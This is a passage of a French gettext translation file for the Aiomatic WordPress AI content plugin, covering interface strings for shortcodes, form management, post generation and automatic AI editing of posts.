res/aiomatic-shortcodes.php:133 msgid "" "to automatically create an AI generated image (GPT-3) based on the " "'seed_expre' argument of the post content/excerpt/title where the shortcode " "is placed," msgstr "" "pour créer automatiquement une image générée par l'IA (GPT-3) basée sur " "l'argument 'seed_expre' du contenu de l'article/excerpt/title où le " "shortcode est placé," #: res/aiomatic-shortcodes.php:134 msgid "" "to automatically create an AI generated image (Stable Diffusion) based on " "the 'seed_expre' argument of the post content/excerpt/title where the " "shortcode is placed," msgstr "" "pour créer automatiquement une image générée par l'IA (Stable Diffusion) " "basée sur l'argument 'seed_expre' du contenu de l'article/excerpt/title où " "le shortcode est placé," #: res/aiomatic-shortcodes.php:135 res/aiomatic-shortcodes.php:136 msgid "to convert an audio file to text" msgstr "pour convertir un fichier audio en texte" #: res/aiomatic-shortcodes.php:137 msgid "" "to include a textual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" "inclure une représentation textuelle des crédits restants pour le compte " "courant (dans le cas où l'utilisation de l'IA est limitée par les paramètres " "du plugin)" #: res/aiomatic-shortcodes.php:138 msgid "" "to include a visual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" "d'inclure une représentation visuelle des crédits restants pour le compte " "courant (dans le cas où l'utilisation de l'IA est limitée par les paramètres " "du plugin)" #: res/aiomatic-shortcodes.php:139 msgid "to include a list that contains only posts imported by this plugin, and" msgstr "" "pour inclure une liste qui ne contient que les articles importés par ce " "plugin, et" #: res/aiomatic-shortcodes.php:140 msgid "to include a WordPress like post listing. Usage:" msgstr "" "pour inclure une liste d'articles semblable à celle de WordPress. " "Utilisation :" #: res/aiomatic-shortcodes.php:141 res/aiomatic-spinner-list.php:2345 msgid "Example:" msgstr "Exemple :" #: res/aiomatic-shortcodes.php:142 msgid "Example 2:" msgstr "Exemple 2 :" #: res/aiomatic-shortcodes.php:143 msgid "Example 3:" msgstr "Exemple 3 :" #: res/aiomatic-shortcodes.php:144 msgid "Example 4:" msgstr "Exemple 4 :" #: res/aiomatic-shortcodes.php:145 msgid "Example 5:" msgstr "Exemple 5 :" #: res/aiomatic-shortcodes.php:146 msgid "Example 6:" msgstr "Exemple 6 :" #: res/aiomatic-shortcodes.php:147 msgid "Example 7:" msgstr "Exemple 7 :" #: res/aiomatic-shortcodes.php:148 msgid "Example 8:" msgstr "Exemple 8 :" #: res/aiomatic-shortcodes.php:149 msgid "Example 9:" msgstr "Exemple 9 :" #: res/aiomatic-shortcodes.php:150 msgid "Example 10:" msgstr "Exemple 10 :" #: res/aiomatic-shortcodes.php:151 res/aiomatic-shortcodes.php:152 #: res/aiomatic-shortcodes.php:153 res/aiomatic-shortcodes.php:154 msgid "Example 11:" msgstr "Exemple 11 :" #: res/aiomatic-shortcodes.php:156 msgid "Currently supported models to be used in shortcodes:" msgstr "Modèles actuellement pris en charge à utiliser dans les shortcodes :" #: res/aiomatic-shortcodes.php:172 msgid "Add a new form:" msgstr "Ajouter un nouveau formulaire :" #: res/aiomatic-shortcodes.php:173 msgid "Input Fields" msgstr "Champs de saisie" #: res/aiomatic-shortcodes.php:312 msgid "Show" msgstr "Afficher" #: res/aiomatic-shortcodes.php:313 msgid "Hide" msgstr "Cacher" #: res/aiomatic-shortcodes.php:335 res/aiomatic-shortcodes.php:375 msgid "Import Forms From File" msgstr "Importer des formulaires à partir d'un fichier" #: res/aiomatic-shortcodes.php:339 msgid "Hit this button and you can restore forms from file." msgstr "" "Cliquez sur ce bouton et vous pourrez restaurer les formulaires à partir du " "fichier." #: res/aiomatic-shortcodes.php:348 msgid "Backup File (*.json)" msgstr "Fichier de sauvegarde (*.json)" #: res/aiomatic-shortcodes.php:356 msgid "Overwrite Existing" msgstr "Ecraser l’habillage existant" #: res/aiomatic-shortcodes.php:365 msgid "File uploaded successfully you can view it in the form listing tab." msgstr "" "Le fichier a été téléchargé avec succès. Vous pouvez le consulter dans " "l'onglet \"Liste des formulaires\"." #: res/aiomatic-shortcodes.php:390 msgid "Download Current Forms To File:" msgstr "Télécharger les formulaires actuels :" #: res/aiomatic-shortcodes.php:394 msgid "Hit this button and you can backup the current forms to file." msgstr "" "Cliquez sur ce bouton pour sauvegarder les formulaires actuels dans un " "fichier." #: res/aiomatic-shortcodes.php:404 res/aiomatic-shortcodes.php:416 msgid "Import Default Forms" msgstr "Importer des formulaires par défaut" #: res/aiomatic-shortcodes.php:408 msgid "" "Hit this button and the plugin will create the default forms which come " "bundled with the plugin." msgstr "" "Cliquez sur ce bouton et le plugin créera les formulaires par défaut fournis " "avec le plugin." #: res/aiomatic-shortcodes.php:426 msgid "Sync Forms" msgstr "Synchroniser les formulaires" #: res/aiomatic-shortcodes.php:429 msgid "Delete Selected Forms" msgstr "Supprimer les formulaires sélectionnés" #: res/aiomatic-shortcodes.php:432 msgid "Delete All Forms" msgstr "Supprimer tous les formulaires" #: res/aiomatic-shortcodes.php:445 msgid "All forms" msgstr "Tous les formulaires" #: res/aiomatic-shortcodes.php:459 msgid "Shortcode" msgstr "Shortcode" #: res/aiomatic-shortcodes.php:462 msgid "Input Field Count" msgstr "Nombre de champs saisie" #: res/aiomatic-shortcodes.php:492 msgid "Preview" msgstr "Aperçu" #: res/aiomatic-shortcodes.php:493 msgid "Edit" msgstr "Modifier" #: res/aiomatic-shortcodes.php:494 msgid "Duplicate" msgstr "Dupliquer" #: res/aiomatic-single-list.php:143 msgid "Post created as draft. Choose what to do next:" msgstr "" "Article créé en tant que brouillon. Choisissez après la marche à suivre :" #: res/aiomatic-single-list.php:144 msgid "Edit Created Post" msgstr "Modifier l’article créé" #: res/aiomatic-single-list.php:145 msgid "Continue Creating Posts With AI" msgstr "Continuer à créer des articles avec l'IA" #: res/aiomatic-single-list.php:162 msgid "Post Title" msgstr "Titre de l'article" #: res/aiomatic-single-list.php:173 msgid "Post Sections" msgstr "Posts Sections" #: res/aiomatic-single-list.php:175 msgid "Number of created sections:" msgstr "Nombre de sections créées :" #: res/aiomatic-single-list.php:207 msgid "Post Content" msgstr "Contenu de l'article" #: res/aiomatic-single-list.php:209 msgid "Number of paragraphs per section:" msgstr "Nombre de paragraphes par section :" #: res/aiomatic-single-list.php:258 msgid "Post Excerpt" msgstr "Extrait d’article" #: res/aiomatic-single-list.php:290 msgid "Content Templates" msgstr "Contenus des Temples" #: res/aiomatic-single-list.php:297 msgid "Default Template" msgstr "Modèle par défaut" #: res/aiomatic-single-list.php:349 #, php-format msgid "" "Check this tutorial video for details about " "the usage of this feature." msgstr "" "Consultez ce tutoriel vidéo pour en savoir " "plus sur l'utilisation de cette fonctionnalité." #: res/aiomatic-single-list.php:351 msgid "Dismiss This Message Forever" msgstr "Ne pas tenir compte de ce message pour toujours" #: res/aiomatic-single-list.php:361 msgid "Topic" msgstr "Sujet" #: res/aiomatic-single-list.php:368 msgid "" "To get started, you can enter a topic here and start generating the title & " "content!" msgstr "" "Pour commencer, vous pouvez entrer un sujet ici et commencer à générer le " "titre et le contenu !" #: res/aiomatic-single-list.php:384 msgid "Post Options" msgstr "Options de l'article" #: res/aiomatic-single-list.php:394 msgid "Post Type" msgstr "Type d'article" #: res/aiomatic-single-list.php:411 res/aiomatic-spinner-list.php:1808 msgid "Draft" msgstr "Brouillon" #: res/aiomatic-single-list.php:412 res/aiomatic-spinner-list.php:1802 #: res/aiomatic-spinner-list.php:2034 msgid "Pending" msgstr "En attente" #: res/aiomatic-single-list.php:419 msgid "Sticky" msgstr "Épinglé" #: res/aiomatic-single-list.php:437 msgid "Publish Date" msgstr "Date de publication" #: res/aiomatic-single-list.php:443 msgid "Post Categories" msgstr "Catégories de l’article" #: res/aiomatic-single-list.php:463 msgid "Post Tags" msgstr "Étiquettes d’article" #: res/aiomatic-single-list.php:480 msgid "Separate tags with commas" msgstr "Séparez les étiquettes par des virgules" #: res/aiomatic-single-list.php:491 msgid "Featured Image" msgstr "Image à la une" #: res/aiomatic-single-list.php:501 msgid "Select an image" msgstr "Sélectionnez une image" #: res/aiomatic-single-list.php:645 msgid "Model Settings" msgstr "Paramètres du modèle" #: res/aiomatic-single-list.php:662 msgid "Max Tokens" msgstr "Nombre maximal de jetons" #: res/aiomatic-single-list.php:709 msgid "Sections" msgstr "Sections" #: res/aiomatic-single-list.php:737 msgid "Run The Content Prompt Separately For Each Section" msgstr "Lancer le Prompt de contenu séparément pour chaque section" #: res/aiomatic-single-list.php:749 res/aiomatic-training.php:291 msgid "Excerpt" msgstr "Extrait" #: res/aiomatic-spinner-list.php:20 msgid "Automatic Content Editing" msgstr "Édition automatique du contenu" #: res/aiomatic-spinner-list.php:21 msgid "Existing Content Editor" msgstr "Editeur de contenu existant" #: res/aiomatic-spinner-list.php:22 msgid "Editing Templates and Options" msgstr "Modifier les modèles et les options SEO" #: res/aiomatic-spinner-list.php:23 msgid "Advanced AI API Settings" msgstr "Paramètres avancés de l’API IA" #: res/aiomatic-spinner-list.php:575 msgid "Welcome to Automatic AI Content Editing" msgstr "Aiomatic - Rédacteur automatique de contenu d'IA" #: res/aiomatic-spinner-list.php:577 msgid "" "Welcome to this comprehensive guide on how to use the automatic post editing " "feature of the Aiomatic plugin. This powerful tool leverages artificial " "intelligence to automatically edit and enhance your WordPress posts, saving " "you time and effort while ensuring your content is optimized and engaging. " "Whether you're publishing new posts, drafting content, or revising existing " "posts, the Aiomatic plugin can be configured to automatically apply a range " "of edits. These include rewriting content, assigning featured images, " "appending or prepending AI-generated content, adding internal links, " "inserting related comments, and generating SEO meta descriptions." msgstr "" "Bienvenue dans ce guide complet sur l'utilisation de la fonction d'édition " "automatique des articles du plugin Aiomatic. Cet outil puissant utilise " "l'intelligence artificielle pour éditer et améliorer automatiquement vos " "articles WordPress, ce qui vous permet d'économiser du temps et des efforts " "tout en garantissant que votre contenu est optimisé et attrayant. Que vous " "publiiez de nouveaux articles, que vous rédigiez du contenu ou que vous " "révisiez des articles existants, le plugin Aiomatic peut être configuré pour " "appliquer automatiquement une série de modifications. Il s'agit notamment de " "la réécriture du contenu, de l'attribution d'images vedettes, de l'ajout ou " "de la préparation de contenu généré par l'IA, de l'ajout de liens internes, " "de l'insertion de commentaires connexes et de la génération de méta-" "descriptions SEO." #: res/aiomatic-spinner-list.php:580 msgid "" "In this tutorial, we will walk you through each step of setting up and using " "this feature, from installation and activation of the plugin, to configuring " "automatic and manual editing settings, to defining your editing templates " "and options, and finally, to adjusting advanced AI API settings for the " "editing process. By the end of this guide, you'll be able to harness the " "power of AI to streamline your content creation process and enhance the " "quality of your posts. Let's get started!" msgstr "" "Dans ce tutoriel, nous allons vous guider à travers chaque étape de la " "configuration et de l'utilisation de cette fonctionnalité, depuis " "l'installation et l'activation du plugin, la configuration des paramètres " "d'édition automatique et manuelle, la définition de vos modèles et options " "d'édition et, enfin, l'ajustement des paramètres avancés de l'API d'IA pour " "le processus d'édition. À la fin de ce guide, vous serez en mesure " "d'exploiter la puissance de l'IA pour rationaliser votre processus de " "création de contenu et améliorer la qualité de vos articles. C'est parti !" #: res/aiomatic-spinner-list.php:582 msgid "\"Automatic Content Editing Settings\" Tab" msgstr "Onglet \"Paramètres d'édition automatique du contenu\"" #: res/aiomatic-spinner-list.php:583 msgid "Here, you can set up the conditions for automatic post editing:" msgstr "" "Ici, vous pouvez définir les conditions de l'édition automatique des " "messages :" #: res/aiomatic-spinner-list.php:585 msgid "" "When to edit posts: Choose whether you want posts to be edited when they are " "published, drafted, or set as pending." msgstr "" "Quand modifier les messages : Choisissez si vous souhaitez que les messages " "soient modifiés lorsqu'ils sont publiés, en cours de rédaction ou en attente." #: res/aiomatic-spinner-list.php:587 msgid "" "What post types to edit: Select the types of posts you want to be edited. " "This could be blog posts, pages, or any custom post types you have on your " "site." msgstr "" "Types d'articles à modifier : sélectionnez les types d'articles à modifier. " "Il peut s'agir d'articles de blog, de pages ou de tout autre type d'article " "personnalisé que vous avez sur votre site." #: res/aiomatic-spinner-list.php:589 msgid "" "How long to wait before editing new posts: Set a delay for the editing " "process. This could be useful if you want to review the posts yourself " "before they are automatically edited." msgstr "" "Combien de temps faut-il attendre avant d'éditer de nouveaux messages ? " "Définissez un délai pour le processus d'édition. Cela peut s'avérer utile si " "vous souhaitez revoir les messages vous-même avant qu'ils ne soient " "automatiquement modifiés." #: res/aiomatic-spinner-list.php:591 msgid "" "What categories or tags not to edit: If there are certain categories or tags " "you don't want to be edited, you can specify them here." msgstr "" "Catégories ou étiquettes à ne pas modifier : Si vous ne souhaitez pas " "modifier certaines catégories ou étiquettes, vous pouvez les spécifier ici." #: res/aiomatic-spinner-list.php:593 msgid "\"Manual Content Editing Settings\" Tab" msgstr "Onglet \"Paramètres d'édition manuelle du contenu\"" #: res/aiomatic-spinner-list.php:595 msgid "" "In the 'Manual Content Editing Settings' tab, you can set up the conditions " "for manual post editing. This is useful for editing existing posts. You can " "set detailed filters on what posts/pages/custom post types to automatically " "edit." msgstr "" "Dans l'onglet \"Paramètres d'édition manuelle du contenu\", vous pouvez " "définir les conditions d'édition manuelle des messages. Cette fonction est " "utile pour modifier des articles existants. Vous pouvez définir des filtres " "détaillés sur les articles/pages/types d'articles personnalisés à éditer " "automatiquement." #: res/aiomatic-spinner-list.php:597 msgid "\"Editing Templates and Options\" Tab" msgstr "Onglet \"Modification des modèles et des options\"" #: res/aiomatic-spinner-list.php:599 msgid "" "In the 'Editing Templates and Options' tab, you can set how to edit posts. " "Here are the options:" msgstr "" "Dans l'onglet \"Modèles et options d'édition\", vous pouvez définir comment " "éditer les articles. Voici les options disponibles :" #: res/aiomatic-spinner-list.php:601 msgid "" "Enable AI Content Rewriting: This will enable the editing and rewriting of " "the content." msgstr "Activer la réécriture de contenu par l'IA pour le contenu publié." #: res/aiomatic-spinner-list.php:603 msgid "" "Enable Featured Image Assignation: This will automatically assign a featured " "image to the published content." msgstr "" "Activer l'attribution d'une image vedette : Cette option permet d'attribuer " "automatiquement une image vedette au contenu publié." #: res/aiomatic-spinner-list.php:605 msgid "" "Add AI Generated Content: This will automatically append or prepend AI " "generated content to posts." msgstr "" "Ajouter du contenu généré par l'IA : Cette option permet d'ajouter ou de pré-" "ajouter automatiquement du contenu généré par l'IA aux messages." #: res/aiomatic-spinner-list.php:607 msgid "" "Automatically Add Internal Links: This will automatically add internal links " "to posts." msgstr "" "Ajouter automatiquement des liens internes : Cette option permet d'ajouter " "automatiquement des liens internes aux articles." #: res/aiomatic-spinner-list.php:609 msgid "" "Automatically Add Comments To Posts: This will add related comments to posts." msgstr "" "Ajouter automatiquement des commentaires aux articles : Cette option permet " "d'ajouter des commentaires aux articles." #: res/aiomatic-spinner-list.php:611 msgid "" "Automatically Add AI Generated SEO Description To Posts: This will " "automatically add SEO meta description for posts." msgstr "" "Ajouter automatiquement aux articles une description SEO générée par l'IA." #: res/aiomatic-spinner-list.php:613 msgid "" "You can also change the status of the posts after they were edited, using " "the 'Change Post Status After Editing' settings field." msgstr "" "Vous pouvez également modifier le statut des messages après qu'ils ont été " "édités, en utilisant le champ de configuration \"Modifier le statut du " "message après l'édition\"." #: res/aiomatic-spinner-list.php:616 msgid "\"Advanced AI API Settings\" Tab" msgstr "Onglet \"Paramètres avancés de l'API AI\"" #: res/aiomatic-spinner-list.php:618 msgid "" "In the 'Advanced AI API Settings' tab, you can change advanced AI model " "settings, which will be used when editing content. This could include things " "like the complexity of the language used, the tone of the content, and more." msgstr "" "Dans l'onglet \"Paramètres avancés de l'API d'IA\", vous pouvez modifier les " "paramètres avancés du modèle d'IA, qui seront utilisés lors de l'édition du " "contenu. Il peut s'agir d'éléments tels que la complexité de la langue " "utilisée, le ton du contenu, etc." #: res/aiomatic-spinner-list.php:620 msgid "General Tips" msgstr "Conseils généraux" #: res/aiomatic-spinner-list.php:621 msgid "Be sure to always save settings you change." msgstr "Veillez à toujours sauvegarder les paramètres que vous modifiez." #: res/aiomatic-spinner-list.php:623 msgid "" "After you've configured all the settings to your liking, make sure to click " "the \"Save Changes\" button at the bottom of the page." msgstr "" "Une fois que vous avez configuré tous les paramètres à votre convenance, " "n'oubliez pas de cliquer sur le bouton \"Enregistrer les modifications\" au " "bas de la page." #: res/aiomatic-spinner-list.php:625 msgid "" "And that's it! Your Aiomatic plugin is now set up to automatically edit your " "posts using AI. Remember, you can always go back and change these settings " "if you find that the automatic editing isn't working quite how you want it " "to." msgstr "" "Et c'est tout ! Votre plugin Aiomatic est maintenant configuré pour éditer " "automatiquement vos articles à l'aide de l'IA. N'oubliez pas que vous pouvez " "toujours revenir en arrière et modifier ces paramètres si vous trouvez que " "l'édition automatique ne fonctionne pas tout à fait comme vous le souhaitez." #: res/aiomatic-spinner-list.php:626 msgid "AI Content Editor Tutorial Video" msgstr "Tutoriel vidéo sur l'éditeur de contenu AI" #: res/aiomatic-spinner-list.php:632 msgid "AI Content Rewriter Options:" msgstr "Options de réécriture de contenu par l'IA :" #: res/aiomatic-spinner-list.php:638 msgid "The plugin will rewrite the textual content of the post, using AI." msgstr "Le plugin réécrira le contenu textuel de l'article en utilisant l'IA." #: res/aiomatic-spinner-list.php:642 msgid "Enable AI Content Rewriting:" msgstr "Activer la réécriture de contenu par l'IA :" #: res/aiomatic-spinner-list.php:651 res/aiomatic-spinner-list.php:909 #: res/aiomatic-spinner-list.php:1227 res/aiomatic-spinner-list.php:1335 #: res/aiomatic-spinner-list.php:1444 res/aiomatic-spinner-list.php:1552 #: res/aiomatic-spinner-list.php:1722 msgid "Enabled" msgstr "Activé" #: res/aiomatic-spinner-list.php:665 msgid "" "Select the AI model to use for text editing. Currently, the specialized edit " "models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, " "it is recommended to use a completion model." msgstr "" "Sélectionnez le modèle d'IA à utiliser pour l'édition de texte. " "Actuellement, les modèles d'édition spécialisés d'OpenAI/AiomaticAPI sont en " "version bêta, c'est pourquoi il est recommandé pour le moment d'utiliser un " "modèle d'achèvement." #: res/aiomatic-spinner-list.php:669 msgid "AI Model To Use For Text Editing:" msgstr "Modèle d’IA à utiliser pour l’édition de texte :" #: res/aiomatic-spinner-list.php:692 msgid "Do you want to skip post title editing?" msgstr "Voulez-vous sauter l'étape de l'édition du titre de l'article ?" #: res/aiomatic-spinner-list.php:696 msgid "Skip Post Title Editing:" msgstr "Passer l’édition du titre de l’article :" #: res/aiomatic-spinner-list.php:710 msgid "Do you want to rewrite also post URL with the modified title?" msgstr "" "Voulez-vous réécrire également l'URL de l'article avec le titre modifié ?" #: res/aiomatic-spinner-list.php:714 msgid "Rewrite Also Post URL With The Modified Title:" msgstr "Réécrire également l'URL l'articlé avec le titre modifié :" #: res/aiomatic-spinner-list.php:727 #, php-format msgid "" "Instruction for the AI editor, to edit post title. Please specify your " "instruction without adding the %%post_title%% shortcode, as the content will " "be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "Instruction pour l'éditeur IA, pour modifier le titre de l'article. Veuillez " "spécifier votre instruction sans ajouter le shortcode %%post_title%%, car le " "contenu sera automatiquement ajouté au moment du traitement.Les shortcodes " "imbriqués d'autres plugins sont également pris en charge ici. Vous pouvez " "également utiliser les shortcodes suivants : %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Vous pouvez également utiliser les champs " "personnalisés (post meta) qui sont assignés aux articles à l'aide de " "shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : " "si vous souhaitez ajouter des données importées du champ personnalisé " "post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur " "de cette commande ne doit pas être supérieure au nombre maximum de jetons " "défini dans les paramètres de la commande du Pompt - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins)." #: res/aiomatic-spinner-list.php:731 msgid "Instructions to Send For the AI Editor (Title Editing):" msgstr "Instructions à envoyer à l'éditeur IA (édition de titres) :" #: res/aiomatic-spinner-list.php:746 msgid "Do you want to skip post content editing?" msgstr "Voulez-vous sauter l'étape de l'édition du contenu de l'article ?" #: res/aiomatic-spinner-list.php:750 msgid "Skip Post Content Editing:" msgstr "Passer l’édition du contenu de l'article:" #: res/aiomatic-spinner-list.php:763 #, php-format msgid "" "Instruction for the AI editor, to edit post content. Please specify your " "instruction without adding the %%post_content%% shortcode, as the content " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "Instruction pour l'éditeur IA, pour modifier le contenu de l'article. " "Veuillez spécifier votre instruction sans ajouter le shortcode " "%%post_content%%, car le contenu sera automatiquement ajouté au moment du " "traitement. Les shortcodes imbriqués d'autres plugins sont également pris en " "charge ici. Vous pouvez également utiliser les shortcodes suivants : " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. Vous pouvez également utiliser " "les champs personnalisés (post meta) qui sont assignés aux articles à l'aide " "de shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. " "Exemple : si vous souhaitez ajouter des données importées du champ " "personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. " "La longueur de cette commande ne doit pas être supérieure au nombre maximum " "de jetons défini dans les paramètres de la commande du Pompt - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins)." #: res/aiomatic-spinner-list.php:767 msgid "Instructions to Send For the AI Editor (Content Editing):" msgstr "Instructions à envoyer à l'éditeur IA (rédaction de contenu) :" #: res/aiomatic-spinner-list.php:782 msgid "Do you want to skip post excerpt editing?" msgstr "Voulez-vous sauter l'étape de l'édition de l'extrait ?" #: res/aiomatic-spinner-list.php:786 msgid "Skip Post Excerpt Editing:" msgstr "Passer l'édition de l'extrait de l'article :" #: res/aiomatic-spinner-list.php:799 #, php-format msgid "" "Instruction for the AI editor, to edit post excerpt. Please specify your " "instruction without adding the %%post_excerpt%% shortcode, as the excerpt " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "Instruction pour l'éditeur IA, pour éditer l'extrait de l'article. Veuillez " "spécifier votre instruction sans ajouter le shortcode %%post_excerpt%%, car " "l'extrait sera automatiquement ajouté au moment du traitement. Les " "shortcodes imbriqués d'autres plugins sont également pris en charge ici. " "Vous pouvez également utiliser les shortcodes suivants : %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Vous pouvez également utiliser les champs " "personnalisés (post meta) qui sont assignés aux articles à l'aide de " "shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : " "si vous souhaitez ajouter des données importées du champ personnalisé " "post_data, vous devez utiliser ce shortcode : %%!post_data !%%. La longueur " "de cette commande ne doit pas être supérieure au nombre maximum de jetons " "défini dans les paramètres de la commande du Pompt - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins)." #: res/aiomatic-spinner-list.php:803 msgid "Instructions to Send For the AI Editor (Excerpt Editing):" msgstr "Instructions à envoyer à l'éditeur IA (rédaction d'extraits) :" #: res/aiomatic-spinner-list.php:821 msgid "AI Content Editor Temperature:" msgstr "Température de l’éditeur de contenu IA :" #: res/aiomatic-spinner-list.php:834 msgid "AI Content Editor Top_p:" msgstr "Éditeur de contenu IA Top_p :" #: res/aiomatic-spinner-list.php:843 msgid "" "Currently, as the AI editor is in beta, it might have difficulties editing " "longer texts. If you encounter this issue, you can limit the chunk size " "which is sent to the AI editor (in characters). Leave this blank if editing " "works well in your case." msgstr "" "Actuellement, l'éditeur d'IA étant en version bêta, il se peut qu'il ait des " "difficultés à éditer des textes plus longs. Si vous rencontrez ce problème, " "vous pouvez limiter la taille du morceau envoyé à l'éditeur d'IA (en " "caractères). Laissez ce champ vide si l'édition fonctionne bien dans votre " "cas." #: res/aiomatic-spinner-list.php:847 msgid "Maximum Character Chunk Size To Send To The AI Editor (Optional):" msgstr "" "Taille maximale du bloc de caractères à envoyer à l'éditeur IA (facultatif) :" #: res/aiomatic-spinner-list.php:858 msgid "" "Currently, because of an issue with the AI editor, sometimes it might remove " "parts of the HTML content you send to it for editing. The Aiomatic plugin " "can check if this happens and not change the post in these cases. If you " "check this checkbox, the edited content will be published, even if it misses " "some HTML tags. Do you want to publish edited content even if the AI editor " "removed some or all HTML content from the text?" msgstr "" "Actuellement, en raison d'un problème avec l'éditeur IA, il arrive qu'il " "supprime des parties du contenu HTML que vous lui envoyez pour qu'il le " "modifie. Le plugin Aiomatic peut vérifier si cela se produit et ne pas " "modifier le message dans ce cas. Si vous cochez cette case, le contenu " "modifié sera publié, même s'il manque certaines balises HTML. Souhaitez-vous " "publier le contenu édité même si l'éditeur IA a supprimé tout ou partie du " "contenu HTML du texte ?" #: res/aiomatic-spinner-list.php:862 msgid "Publish Edited Content Even if the AI Removed Parts of the HTML Text:" msgstr "" "Publier un contenu modifié même si l'IA a supprimé des parties du texte " "HTML :" #: res/aiomatic-spinner-list.php:876 msgid "" "Do you want to protect HTML tags in edited text? This will add to the prompt " "you enter, a phrase which specifies to protect HTML tags from the edited " "text." msgstr "" "Voulez-vous protéger les balises HTML dans le texte édité ? Cette option " "ajoutera à le Prompt que vous saisissez une phrase qui spécifie la " "protection des balises HTML dans le texte édité." #: res/aiomatic-spinner-list.php:880 msgid "Protect HTML Tags in Edited Text:" msgstr "Protéger les balises HTML dans le texte édité :" #: res/aiomatic-spinner-list.php:890 msgid "AI Generated Featured Image Options:" msgstr "Options d'images en vedette générées par l'IA :" #: res/aiomatic-spinner-list.php:896 msgid "" "The plugin will generate AI generated or royalty free images, that will be " "assigned as featured images for posts." msgstr "" "Le plugin génère des images générées par l'IA ou des images libres de " "droits, qui seront affectées en tant qu'images vedettes pour les articles." #: res/aiomatic-spinner-list.php:900 msgid "Enable Featured Image Assignation:" msgstr "Activer l'attribution d'images à la une :" #: res/aiomatic-spinner-list.php:922 msgid "Select the source of the created featured images." msgstr "Sélectionnez la source des images créées." #: res/aiomatic-spinner-list.php:926 msgid "Featured Image Source:" msgstr "Source de l'image en vedette :" #: res/aiomatic-spinner-list.php:960 #, php-format msgid "" "Set an prompt command you want to send to the AI image generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). If you use Royalty Free Images as a source, you can also set their " "keywords here, if no keywords set, they will be automatically generated." msgstr "" "Définissez une commande rapide que vous souhaitez envoyer au générateur " "d'images IA. Cette commande peut être n'importe quelle tâche ou ordre donné, " "sur la base duquel il générera du contenu pour les articles. Vous pouvez " "utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Vous pouvez " "également utiliser des champs personnalisés (post meta) qui sont assignés " "aux articles en utilisant des shortcodes personnalisés dans ce format : %%!" "custom_field_slug!%%. Exemple : si vous souhaitez ajouter des données " "importées du champ personnalisé 